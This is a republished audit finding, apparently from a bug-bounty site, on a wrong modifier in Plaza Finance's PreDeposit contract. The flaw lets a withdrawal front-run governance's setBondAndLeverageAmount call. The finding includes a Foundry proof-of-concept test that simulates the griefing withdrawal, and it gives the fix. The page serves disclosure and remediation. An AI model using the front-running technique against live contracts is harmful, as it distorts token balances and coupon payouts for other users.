Skip to content
Business logic Audit finding Intermediate

Wrong modifier on `PreDeposit::setBondAndLeverageAmount` function leads to big differences in user balances

The `setBondAndLeverageAmount` function in the PreDeposit contract can only be called before the deposit phase ends, allowing a user to withdraw their deposit just before governance sets the amounts, causing the amounts to be based on an outdated reserve balance. This leads to incorrect total supplies of bond and leverage tokens, unfair token balances, and unfair coupon distribution.

0xadrii Follow with 0xl33 and ZoA

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/353

Found by

0xadrii, 0xl33, ZoA

Summary

PreDeposit::setBondAndLeverageAmount function has checkDepositNotEnded modifier, which means it can only be called while deposit phase has not ended yet. The problem with this is that users are free to call PreDeposit::deposit and PreDeposit::withdraw around the time of this function being called by governance, meaning that setBondAndLeverageAmount function can be frontrun/backrun by a griefer.

Consider this scenario:

  1. Griefer deposits big amount of reserve tokens while deposit phase is active
  2. Regular users deposit while deposit phase is active
  3. Governance calls setBondAndLeverageAmount function at the end of deposit phase
  4. Griefer frontruns the transaction and calls withdraw, inputting the same amount that they deposited before
  5. Griefer's transaction executes, reducing PreDeposit contract's balance of reserve tokens by a lot
  6. Governance's transaction executes, setting bondAmount and leverageAmount to values that were correct before the withdrawal happened, but not correct anymore, because reserve token balance is much smaller now
  7. Deposit phase ends and governance is not able to call setBondAndLeverageAmount function anymore, due to the modifier mentioned previously
  8. Pool gets created
  9. Users who deposited in PreDeposit claim their tokens
  10. New users call Pool::create and receive very different amounts of tokens than users who deposited in PreDeposit, due to total supplies of bondETH and levETH being inflated
  11. Big differences in bondETH balances lead to users receiving different amounts of coupon tokens during distribution, due to sharesPerToken being the same for everyone

You can see the scenario described above in the PoC section.

Other scenarios can happen too, such as a late user calling PreDeposit::deposit function at the last possible moment, after governance already called setBondAndLeverageAmount, but I think one scenario is enough to showcase this issue.

Additional note: frontrunning in this scenario doesn't have to be intentional. Same result will be achieved if a regular user decides to withdraw at the same time as governance calls setBondAndLeverageAmount. It should not matter whether an attacker or a regular user makes the withdrawal, the issue exists and is possible. Additionally, due to the nature of blockchains, the attacker's transaction can be executed earlier than governance's just by pure luck and that will have consequences as described in this finding report.

Root Cause

Root cause - wrong modifier on setBondAndLeverageAmount function.

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/PreDeposit.sol#L204

Modifier in question:

Solidity
    modifier checkDepositNotEnded() {
@>      if (block.timestamp >= depositEndTime) revert DepositEnded();
        _;
    }

Internal Pre-conditions

Governance has to call setBondAndLeverageAmount function just before the deposit phase ends, which I think is likely, because if they call it earlier, they would have to call it again if any users call deposit or withdraw during that time.

External Pre-conditions

None.

Attack Path

Described in Summary section.

Impact

This issue leads to incorrect total supplies of bondETH and levETH (unhealthy market state), big differences in user token balances and unfairness during coupon distribution.

PoC

  1. Create a new file in the test folder and name it TestSetBondAndLeverageAmount.t.sol
  2. Paste the code provided below into the file:
<details> <summary>Code</summary>
Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {BondToken} from "../src/BondToken.sol";
import {PreDeposit} from "../src/PreDeposit.sol";
import {Distributor} from "../src/Distributor.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";

contract TestSetBondAndLeverageAmount is Test {
    PreDeposit public preDeposit;
    Token public reserveToken;
    Token public couponToken;

    address user1 = address(2);
    address user2 = address(3);
    address nonOwner = address(4);

    PoolFactory private poolFactory;
    PoolFactory.PoolParams private params;
    Distributor private distributor;

    address private deployer = address(0x5);
    address private minter = address(0x6);
    address private governance = address(0x7);

    address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);

    uint256 constant INITIAL_BALANCE = 1000 ether;
    uint256 constant RESERVE_CAP = 100 ether;
    uint256 constant DEPOSIT_AMOUNT = 10 ether;
    uint256 constant BOND_AMOUNT = 50 ether;
    uint256 constant LEVERAGE_AMOUNT = 50 ether;
    address private oracleFeedsContract;
    MockPriceFeed private mockPriceFeed;
    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10 ** 8;
    uint8 private constant CHAINLINK_DECIMAL = 8;

    function setUp() public {
        // Set block time to 10 days in the future to avoid block.timestamp to start from 0
        vm.warp(block.timestamp + 10 days);

        vm.startPrank(governance);

        reserveToken = new Token("Wrapped ETH", "WETH", false);
        couponToken = new Token("USDC", "USDC", false);
        vm.stopPrank();

        setUp_PoolFactory();

        vm.startPrank(governance);

        params = PoolFactory.PoolParams({
            fee: 0,
            reserveToken: address(reserveToken),
            couponToken: address(couponToken),
            distributionPeriod: 90 days,
            sharesPerToken: 2 * 10 ** 6,
            feeBeneficiary: address(0)
        });

        preDeposit = PreDeposit(
            Utils.deploy(
                address(new PreDeposit()),
                abi.encodeCall(
                    PreDeposit.initialize,
                    (
                        params,
                        address(poolFactory),
                        block.timestamp,
                        block.timestamp + 7 days,
                        RESERVE_CAP,
                        "",
                        "",
                        "",
                        ""
                    )
                )
            )
        );

        vm.stopPrank();

        vm.startPrank(deployer);

        OracleFeeds(oracleFeedsContract).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 99 days);

        // Deploy the mock price feed
        mockPriceFeed = new MockPriceFeed();

        // Use vm.etch to deploy the mock contract at the specific address
        bytes memory bytecode = address(mockPriceFeed).code;
        vm.etch(ethPriceFeed, bytecode);

        // Set oracle price
        mockPriceFeed = MockPriceFeed(ethPriceFeed);
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

        vm.stopPrank();

        vm.startPrank(governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
        vm.stopPrank();
    }

    function setUp_PoolFactory() internal {
        vm.startPrank(deployer);

        address contractDeployer = address(new Deployer());
        oracleFeedsContract = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        poolFactory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (
                        governance,
                        contractDeployer,
                        oracleFeedsContract,
                        poolBeacon,
                        bondBeacon,
                        levBeacon,
                        distributorBeacon
                    )
                )
            )
        );

        vm.stopPrank();
    }

    function testAttackerFrontrunsSetBondAndLeverageAmountCall() public {
        uint256 maliciousUserAmount = 50 ether;
        address maliciousUser = makeAddr("malicious user");
        uint256 regularUserAmount = 1 ether;
        uint256 numberOfRegularUsers = 50;
        address[50] memory users;
        uint256 exampleBondAmount = 1500 ether;
        uint256 exampleLevAmount = 1500 ether;
        Pool.TokenType tokenTypeBond = Pool.TokenType.BOND;
        Pool.TokenType tokenTypeLev = Pool.TokenType.LEVERAGE;
        address[50] memory users2;

        // creating addresses for users
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            users[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 999)))));
            users2[i] = address(uint160(uint256(keccak256(abi.encodePacked(i + 9999)))));
        }

        // malicious user deposits 50 ether
        vm.startPrank(maliciousUser);
        reserveToken.mint(maliciousUser, maliciousUserAmount);
        reserveToken.approve(address(preDeposit), maliciousUserAmount);
        preDeposit.deposit(maliciousUserAmount);
        vm.stopPrank();

        // all users deposit 1 ether each
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            vm.startPrank(users[i]);
            reserveToken.mint(users[i], regularUserAmount);
            reserveToken.approve(address(preDeposit), regularUserAmount);
            preDeposit.deposit(regularUserAmount);
            vm.stopPrank();
        }

        vm.warp(block.timestamp + 604784); // 6.999 days pass (almost end of deposit phase)

        vm.startPrank(maliciousUser);
        preDeposit.withdraw(maliciousUserAmount); // malicious user frontruns `setBondAndLeverageAmount` call to decrease reserve token balance
        vm.stopPrank();

        vm.startPrank(governance);
        preDeposit.setBondAndLeverageAmount( // setting both amounts to 1500e18 just before deposit phase ends (governance decides amounts based on reserve token balance)
        exampleBondAmount, exampleLevAmount);

        // now bond/leverage amounts should be 750e18, since malicious user withdrew 50% of reserve token balance, but amounts get set to 1500e18

        vm.warp(block.timestamp + 16); // deposit phase ends

        // governance trying to set amounts after deposit phase ended results in revert
        vm.expectRevert();
        preDeposit.setBondAndLeverageAmount((exampleBondAmount - 750e18), (exampleLevAmount - 750e18));

        // the token amounts are wrong, because they don't match reserve token balance, but pool must be created, because there's no other way to get the user funds out or change the amounts

        poolFactory.grantRole(poolFactory.POOL_ROLE(), address(preDeposit));
        preDeposit.createPool(); // pool gets created, this contract gets minted too big amount of bond/leverage tokens
        address pool = preDeposit.pool();
        poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), address(governance));
        Pool(pool).unpause();
        vm.stopPrank();

        address bondToken = address(Pool(preDeposit.pool()).bondToken());
        address levToken = address(Pool(preDeposit.pool()).lToken());

        // all users claim their tokens
        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            vm.startPrank(users[i]);
            preDeposit.claim();
            vm.stopPrank();
            console.log("user balance of bond token after claim:", BondToken(bondToken).balanceOf(users[i])); // 30000000000000000000 = 30e18
            console.log("user balance of lev token after claim:", LeverageToken(levToken).balanceOf(users[i])); // 30000000000000000000 = 30e18
        }

        // new users use same amount of reserve tokens as previous users in `PreDeposit` to create bond/lev tokens
        // they all receive very odd amounts that don't match the amounts of users who deposited in `PreDeposit`

        // p.s. if you scroll up and change `exampleBondAmount` and `exampleLevAmount` to 750e18 and run this test again, you will see that the users below get same amounts as previous users and everything is normal

        for (uint256 i = 0; i < numberOfRegularUsers; i++) {
            vm.startPrank(users2[i]);
            reserveToken.mint(users2[i], regularUserAmount);
            reserveToken.approve(pool, regularUserAmount);
            Pool(pool).create(tokenTypeBond, 0.5 ether, 0);
            Pool(pool).create(tokenTypeLev, 0.5 ether, 0);
            vm.stopPrank();
            console.log("user2 balance of bond token after create:", BondToken(bondToken).balanceOf(users2[i]));
            console.log("user2 balance of lev token after create:", LeverageToken(levToken).balanceOf(users2[i]));
        }
    }
}
</details>
  1. Run the test using this command: forge test --mt testAttackerFrontrunsSetBondAndLeverageAmountCall -vv
  2. Take a look at the logs shown in the terminal. You will see user balances of tokens who deposited in PreDeposit and then after that you will see user balances of tokens who called Pool::create after pool was created.
  3. As you can see in this example scenario, the balances are obviously very different, and that confirms the issue.

Mitigation

Simply change the modifier on setBondAndLeverageAmount function from checkDepositNotEnded to checkDepositEnded, to allow governance to call this function after deposit phase has ended and to set the correct values. This will ensure users cannot change the reserve token balance around the time of this function being called.

Diff
function setBondAndLeverageAmount(
        uint256 _bondAmount,
        uint256 _leverageAmount
-   ) external onlyOwner checkDepositNotEnded {
+   ) external onlyOwner checkDepositEnded {

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Convexity-Research/plaza-evm/pull/160

The original report as published on Sherlock, by 0xadrii. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the wrong modifier on `setBondAndLeverageAmount` allows it to be called only before the deposit phase ends, so it can be front-run by a withdrawal that changes the reserve balance.

Impact

This leads to incorrect total supplies of bond and leverage tokens, large differences in user token balances, and unfair coupon distribution.

What the attacker needed

Governance calls setBondAndLeverageAmount near deposit end; a user withdraws just before that call

The fix

The modifier on `setBondAndLeverageAmount` should be changed from `checkDepositNotEnded` to `checkDepositEnded` to allow governance to set correct values after the deposit phase ends.

How it was found

  1. A griefer deposits a large amount of reserve tokens during the deposit phase.
  2. Regular users also deposit during the deposit phase.
  3. Governance calls `setBondAndLeverageAmount` near the end of the deposit phase.
  4. The griefer front-runs by withdrawing the same amount they deposited, reducing the contract's reserve balance.
  5. Governance's transaction executes, setting bond and leverage amounts based on the pre-withdrawal balance.
  6. The deposit phase ends, and governance cannot call `setBondAndLeverageAmount` again due to the modifier.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a pre-deposit phase, users put in funds and later get tokens. Governance sets how many tokens to create based on the total funds. But if someone withdraws right before governance sets the amounts, the amounts become too high for the remaining funds. This makes some users get more tokens than they should, and later users get fewer, causing unfairness.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xadrii

View all

30 more disclosed reports, best first.

More from Plaza Finance

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.